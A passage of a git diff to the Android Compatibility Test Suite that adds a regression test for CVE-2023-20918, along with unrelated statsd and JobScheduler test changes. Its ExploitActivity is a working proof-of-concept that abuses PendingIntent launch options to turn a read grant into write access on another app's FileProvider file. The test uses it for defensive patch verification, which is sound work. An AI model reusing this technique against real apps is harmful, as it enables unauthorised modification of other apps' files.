copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
index 7460b96..bcc3ad1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
@@ -1,4 +1,3 @@
-<?xml version="1.0" encoding="utf-8"?>
 <!--
   Copyright 2022 The Android Open Source Project
 
@@ -14,13 +13,11 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_20918_attacker">
+    <application>
+        <activity android:name=".ExploitActivity"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
new file mode 100644
index 0000000..9523eca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+    <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+    <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+    <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+    <string name="expActivityExploit">Got an exception in ExploitActivity with message: %1$s
+    </string>
+    <string name="keyMsgAssumeFail">msg</string>
+    <string name="keyPendingIntent">pi</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
new file mode 100644
index 0000000..1693cac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_attacker;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class ExploitActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            Intent intent = getIntent();
+            final String keyPendingIntent = getString(R.string.keyPendingIntent);
+
+            // If intent contains 'keyPendingIntent', then this activity is launched again using
+            // the custom intent that the extra 'keyPendingIntent' holds.
+            if (intent.hasExtra(keyPendingIntent)) {
+                PendingIntent activity = intent.getParcelableExtra(keyPendingIntent);
+                ActivityOptions options = ActivityOptions.makeBasic();
+                options.setPendingIntentLaunchFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                activity.send(this, 0, null, null, null, "", options.toBundle());
+            } else if (intent.getData() != null) {
+                // Control goes in this block when the activity is launched again. Attempting to
+                // open uri data received from the intent.
+                Uri data = intent.getData();
+                getContentResolver().openOutputStream(data);
+
+                // If control reaches here, then it means that openOutputStream() did not raise an
+                // exception, this indicates that FLAG_GRANT_WRITE_URI_PERMISSION has been granted
+                // so sending a broadcast to DeviceTest with the test_fail status.
+                sendBroadcastToTestApp(getString(R.string.bcastActionTestFail));
+            }
+        } catch (Exception e) {
+            if (e instanceof SecurityException
+                    && e.getMessage().contains(getString(R.string.keyPendingIntent))) {
+                // ignoring this exception since it occurs with fix
+                sendBroadcastToTestApp(getString(R.string.bcastActionTestPass));
+                return;
+            }
+
+            // Sending a broadcast to DeviceTest to indicate assumption failure status,
+            // since an exception was raised unrelated to the vulnerability
+            sendBroadcastToTestApp(getString(R.string.bcastActionTestAssumeFail),
+                    getString(R.string.expActivityExploit, e.getMessage()));
+        }
+    }
+
+    public void sendBroadcastToTestApp(String action) {
+        sendBroadcastToTestApp(action, null);
+    }
+
+    public void sendBroadcastToTestApp(String action, String assumeFailMsg) {
+        try {
+            Intent intent = new Intent(action);
+            if (assumeFailMsg != null) {
+                intent.putExtra(getString(R.string.keyMsgAssumeFail), assumeFailMsg);
+            }
+            sendBroadcast(intent);
+        } catch (Exception ignored) {
+            // ignore the exceptions
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
similarity index 82%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
index 50acd29..a32ae6c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
@@ -20,18 +20,21 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2023-20918-test",
     defaults: [
         "cts_support_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
+        // including this to use androidx.core.content.FileProvider
+        "androidx.legacy_legacy-support-v4",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..b95b6d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_20918_test">
+    <application>
+        <provider android:name="androidx.core.content.FileProvider"
+            android:authorities="authority_CVE_2023_20918_test"
+            android:grantUriPermissions="true">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_20918_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
new file mode 100644
index 0000000..40b8d36
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="activityExploit">android.security.cts.CVE_2023_20918_attacker.ExploitActivity
+    </string>
+    <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+    <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+    <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+    <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+    <string name="fileContents">This is a read only file\n</string>
+    <string name="keyMsgAssumeFail">msg</string>
+    <string name="keyPendingIntent">pi</string>
+    <string name="msgAssumeFailDefault">Got an exception in DeviceTest.java</string>
+    <string name="msgFail">Device is vulnerable to b/243794108 !!</string>
+    <string name="pkgAttacker">android.security.cts.CVE_2023_20918_attacker</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
similarity index 63%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
index 7460b96..dd4259b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
@@ -14,13 +14,7 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
+
+<paths>
+    <files-path name="file_path" path="./" />
+</paths>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
new file mode 100644
index 0000000..e677938
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final long TIMEOUT_MS = 10_000L;
+    private String mAssumeFailMsg;
+
+    @Test
+    public void testCVE_2023_20918() {
+        try {
+            Context context = getApplicationContext();
+            mAssumeFailMsg = context.getString(R.string.msgAssumeFailDefault);
+            final CompletableFuture<Boolean> exploitActivityReturn = new CompletableFuture<>();
+            final String bcastActionFail = context.getString(R.string.bcastActionTestFail);
+            final String bcastActionPass = context.getString(R.string.bcastActionTestPass);
+            final String bcastActionAssumeFail =
+                    context.getString(R.string.bcastActionTestAssumeFail);
+
+            // Register a broadcast receiver to receive broadcast from ExploitActivity indicating
+            // presence of vulnerability
+            BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    try {
+                        if (intent.getAction().equals(bcastActionFail)) {
+                            exploitActivityReturn.complete(true);
+                        } else if (intent.getAction().equals(bcastActionPass)) {
+                            exploitActivityReturn.complete(false);
+                        } else if (intent.getAction().equals(bcastActionAssumeFail)) {
+                            // mAssumeFailMsg set here is used in assumeNoException() triggered
+                            // when exploitActivityReturn.get() raises a timeout exception
+                            mAssumeFailMsg = intent
+                                    .getStringExtra(context.getString(R.string.keyMsgAssumeFail));
+                        }
+                    } catch (Exception ignored) {
+                        // ignore the exceptions
+                    }
+                }
+            };
+            IntentFilter filter = new IntentFilter();
+            filter.addAction(bcastActionFail);
+            filter.addAction(bcastActionPass);
+            filter.addAction(bcastActionAssumeFail);
+            context.registerReceiver(broadcastReceiver, filter);
+
+            // Write some data to the Uri content://authority/file_path/poc.txt
+            final String uriString = context.getString(R.string.contentUri);
+            try (OutputStream outputStream =
+                    context.getContentResolver().openOutputStream(Uri.parse(uriString));) {
+                outputStream.write(
+                        context.getString(R.string.fileContents).getBytes(StandardCharsets.UTF_8));
+            }
+
+            // Creating an intent to launch ExploitActivity
+            Intent intent = new Intent();
+            final String attackerPkg = context.getString(R.string.pkgAttacker);
+            final String exploitActivity = context.getString(R.string.activityExploit);
+            intent.setClassName(attackerPkg, exploitActivity);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            // Creating the inner intent for PendingIntent
+            Intent innerIntent = new Intent(Intent.ACTION_MAIN, Uri.parse(uriString));
+            innerIntent.setClassName(attackerPkg, exploitActivity);
+            innerIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            innerIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            // Launch the ExploitActivity passing PendingIntent as data
+            intent.putExtra(context.getString(R.string.keyPendingIntent), PendingIntent
+                    .getActivity(context, 0, innerIntent, PendingIntent.FLAG_IMMUTABLE));
+            context.startActivity(intent);
+
+            // On vulnerable device, the PendingIntent launchIntentFlags will be added even though
+            // it is immutable, so the test should fail if the flags are found to take effect.
+            assertFalse(context.getString(R.string.msgFail),
+                    exploitActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (Exception e) {
+            assumeNoException(mAssumeFailMsg, e);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index 9585493..063d3f8 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
@@ -42,6 +42,7 @@
         "src/**/net/*.java",
         "src/**/notification/*.java",
         "src/**/perfetto/*.java",
+        "src/**/performancehintmanager/*.java",
         "src/**/permissionstate/*.java",
         "src/**/settingsstats/*.java",
         "src/**/sizecompatrestartbutton/*.java",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index f4b26cc..55f0aaf 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -20,6 +20,8 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.accounts.Account;
 import android.accounts.AccountManager;
 import android.app.ActivityManager;
@@ -62,6 +64,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Looper;
+import android.os.PerformanceHintManager;
 import android.os.PowerManager;
 import android.os.Process;
 import android.os.RemoteException;
@@ -1164,4 +1167,18 @@
         GameManager gameManager = context.getSystemService(GameManager.class);
         gameManager.setGameState(new GameState(true, GameState.MODE_CONTENT, 1, 2));
     }
+
+    @Test
+    public void testCreateHintSession() throws Exception {
+        final long targetNs = 16666666L;
+        Context context = InstrumentationRegistry.getContext();
+        PerformanceHintManager phm = context.getSystemService(PerformanceHintManager.class);
+
+        assertNotNull(phm);
+
+        PerformanceHintManager.Session session =
+                phm.createHintSession(new int[]{Process.myPid()}, targetNs);
+
+        assertNotNull(session);
+    }
 }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
index be665ba..7f29d44 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -69,10 +69,6 @@
                 .addAllowedLogSource("AID_SYSTEM")
                 .addAllowedLogSource("AID_BLUETOOTH")
                 .addAllowedLogSource("com.android.bluetooth")
-                // TODO(b/236681553): Remove this.
-                .addAllowedLogSource("com.android.bluetooth.services")
-                // TODO(b/236681553): Remove this.
-                .addAllowedLogSource("com.google.android.bluetooth.services")
                 .addAllowedLogSource("AID_LMKD")
                 .addAllowedLogSource("AID_MEDIA")
                 .addAllowedLogSource("AID_RADIO")
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/performancehintmanager/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/performancehintmanager/OWNERS
new file mode 100644
index 0000000..4b34064
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/performancehintmanager/OWNERS
@@ -0,0 +1,5 @@
+# Owners of ADPF atoms and the CTS test
+chingtangyu@google.com
+lpy@google.com
+mattbuckley@google.com
+xwxw@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/performancehintmanager/PerformanceHintManagerStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/performancehintmanager/PerformanceHintManagerStatsTests.java
new file mode 100644
index 0000000..fe1378d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/performancehintmanager/PerformanceHintManagerStatsTests.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.performancehintmanager;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+/**
+ * Test for Performance Hint Manager stats.
+ * This test is mainly to test ADPF data collection
+ *
+ *  <p>Build/Install/Run:
+ *  atest CtsStatsdAtomHostTestCases:PerformanceHintManagerStatsTests
+ */
+public class PerformanceHintManagerStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testCreateHintSessionStatsd() throws Exception {
+        if (Boolean.parseBoolean(
+                DeviceUtils.getProperty(getDevice(), "debug.hwui.use_hint_manager"))) {
+            ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    AtomsProto.Atom.PERFORMANCE_HINT_SESSION_REPORTED_FIELD_NUMBER);
+            DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(),
+                    ".AtomTests", "testCreateHintSession");
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+            List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+            assertThat(data.size()).isAtLeast(1);
+            AtomsProto.PerformanceHintSessionReported a0 =
+                    data.get(0).getAtom().getPerformanceHintSessionReported();
+            assertThat(a0.getPackageUid()).isGreaterThan(10000);  // Not a system service UID.
+            assertThat(a0.getSessionId()).isNotEqualTo(0);
+            assertThat(a0.getTargetDurationNs()).isEqualTo(16666666L);
+            assertThat(a0.getTidCount()).isEqualTo(1);
+        }
+    }
+
+    public void testAdpfSystemComponentStatsd() throws Exception {
+        final boolean isSurfaceFlingerCpuHintEnabled = Boolean.parseBoolean(
+                DeviceUtils.getProperty(getDevice(), "debug.sf.enable_adpf_cpu_hint"));
+        final boolean isHwuiHintEnabled = Boolean.parseBoolean(
+                DeviceUtils.getProperty(getDevice(), "debug.hwui.use_hint_manager"));
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.ADPF_SYSTEM_COMPONENT_INFO_FIELD_NUMBER);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data.size()).isAtLeast(1);
+        AtomsProto.ADPFSystemComponentInfo a0 = data.get(0).getAdpfSystemComponentInfo();
+        assertThat(a0.getSurfaceflingerCpuHintEnabled()).isEqualTo(isSurfaceFlingerCpuHintEnabled);
+        assertThat(a0.getHwuiHintEnabled()).isEqualTo(isHwuiHintEnabled);
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 00d7517..7b0d261 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -18,48 +18,25 @@
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-import static android.net.NetworkCapabilities.TRANSPORT_ETHERNET;
-import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 
-import static com.android.compatibility.common.util.TestUtils.waitUntil;
-
-import android.Manifest;
 import android.annotation.TargetApi;
 import android.app.job.JobInfo;
 import android.app.job.JobParameters;
 import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.location.LocationManager;
 import android.net.ConnectivityManager;
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
-import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
 import android.platform.test.annotations.RequiresDevice;
 import android.provider.Settings;
 import android.util.Log;
 
 import com.android.compatibility.common.util.AppStandbyUtils;
 import com.android.compatibility.common.util.BatteryUtils;
-import com.android.compatibility.common.util.CallbackAsserter;
-import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
-import junit.framework.AssertionFailedError;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Schedules jobs with the {@link android.app.job.JobScheduler} that have network connectivity
  * constraints.
@@ -70,18 +47,13 @@
 @RequiresDevice // Emulators don't always have access to wifi/network
 public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
     private static final String TAG = "ConnectivityConstraintTest";
-    private static final String RESTRICT_BACKGROUND_GET_CMD =
-            "cmd netpolicy get restrict-background";
-    private static final String RESTRICT_BACKGROUND_ON_CMD =
-            "cmd netpolicy set restrict-background true";
-    private static final String RESTRICT_BACKGROUND_OFF_CMD =
-            "cmd netpolicy set restrict-background false";
 
     /** Unique identifier for the job scheduled by this suite of tests. */
     public static final int CONNECTIVITY_JOB_ID = ConnectivityConstraintTest.class.hashCode();
     /** Wait this long before timing out the test. */
     private static final long DEFAULT_TIMEOUT_MILLIS = 30000L; // 30 seconds.
 
+    private NetworkingHelper mNetworkingHelper;
     private WifiManager mWifiManager;
     private ConnectivityManager mCm;
 
@@ -89,21 +61,8 @@
     private boolean mHasWifi;
     /** Whether the device running these tests supports telephony. */
     private boolean mHasTelephony;
-    /** Whether the device running these tests supports ethernet. */
-    private boolean mHasEthernet;
-    /** Track whether WiFi was enabled in case we turn it off. */
-    private boolean mInitialWiFiState;
-    /** Track initial WiFi metered state. */
-    private String mInitialWiFiMeteredState;
-    private String mInitialWiFiSSID;
-    /** Track whether restrict background policy was enabled in case we turn it off. */
-    private boolean mInitialRestrictBackground;
-    /** Track whether airplane mode was enabled in case we toggle it. */
-    private boolean mInitialAirplaneMode;
     /** Track whether the restricted bucket was enabled in case we toggle it. */
     private String mInitialRestrictedBucketEnabled;
-    /** Track the location mode in case we change it. */
-    private String mInitialLocationMode;
 
     private JobInfo.Builder mBuilder;
 
@@ -115,30 +74,20 @@
 
         mWifiManager = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
         mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mNetworkingHelper = new NetworkingHelper(getInstrumentation(), getContext());
 
         PackageManager packageManager = mContext.getPackageManager();
         mHasWifi = packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI);
         mHasTelephony = packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
-        mHasEthernet = packageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET);
         mBuilder = new JobInfo.Builder(CONNECTIVITY_JOB_ID, kJobServiceComponent);
 
-        mInitialLocationMode = Settings.Secure.getString(mContext.getContentResolver(),
-                Settings.Secure.LOCATION_MODE);
         if (mHasWifi) {
-            mInitialWiFiState = mWifiManager.isWifiEnabled();
-            ensureSavedWifiNetwork(mWifiManager);
-            setWifiState(true, mCm, mWifiManager);
-            mInitialWiFiSSID = getWifiSSID();
-            mInitialWiFiMeteredState = getWifiMeteredStatus(mInitialWiFiSSID);
+            mNetworkingHelper.ensureSavedWifiNetwork();
         }
-        mInitialRestrictBackground = SystemUtil
-                .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
-                .contains("enabled");
         mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET);
         setDataSaverEnabled(false);
-        mInitialAirplaneMode = isAirplaneModeOn();
-        setAirplaneMode(false);
+        mNetworkingHelper.setAllNetworksEnabled(true);
         // Force the test app out of the never bucket.
         SystemUtil.runShellCommand("am set-standby-bucket "
                 + TestAppInterface.TEST_APP_PACKAGE + " rare");
@@ -153,31 +102,12 @@
 
         BatteryUtils.runDumpsysBatteryReset();
 
-        // Restore initial restrict background data usage policy
-        setDataSaverEnabled(mInitialRestrictBackground);
-
         // Restore initial restricted bucket setting.
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
 
         // Ensure that we leave WiFi in its previous state.
-        if (mHasWifi) {
-            setWifiMeteredState(mInitialWiFiSSID, mInitialWiFiMeteredState);
-            if (mWifiManager.isWifiEnabled() != mInitialWiFiState) {
-                try {
-                    setWifiState(mInitialWiFiState, mCm, mWifiManager);
-                } catch (AssertionFailedError e) {
-                    // Don't fail the test just because wifi state wasn't set in tearDown.
-                    Log.e(TAG, "Failed to return wifi state to " + mInitialWiFiState, e);
-                }
-            }
-        }
-
-        // Restore initial airplane mode status. Do it after setting wifi in case wifi was
-        // originally metered.
-        setAirplaneMode(mInitialAirplaneMode);
-
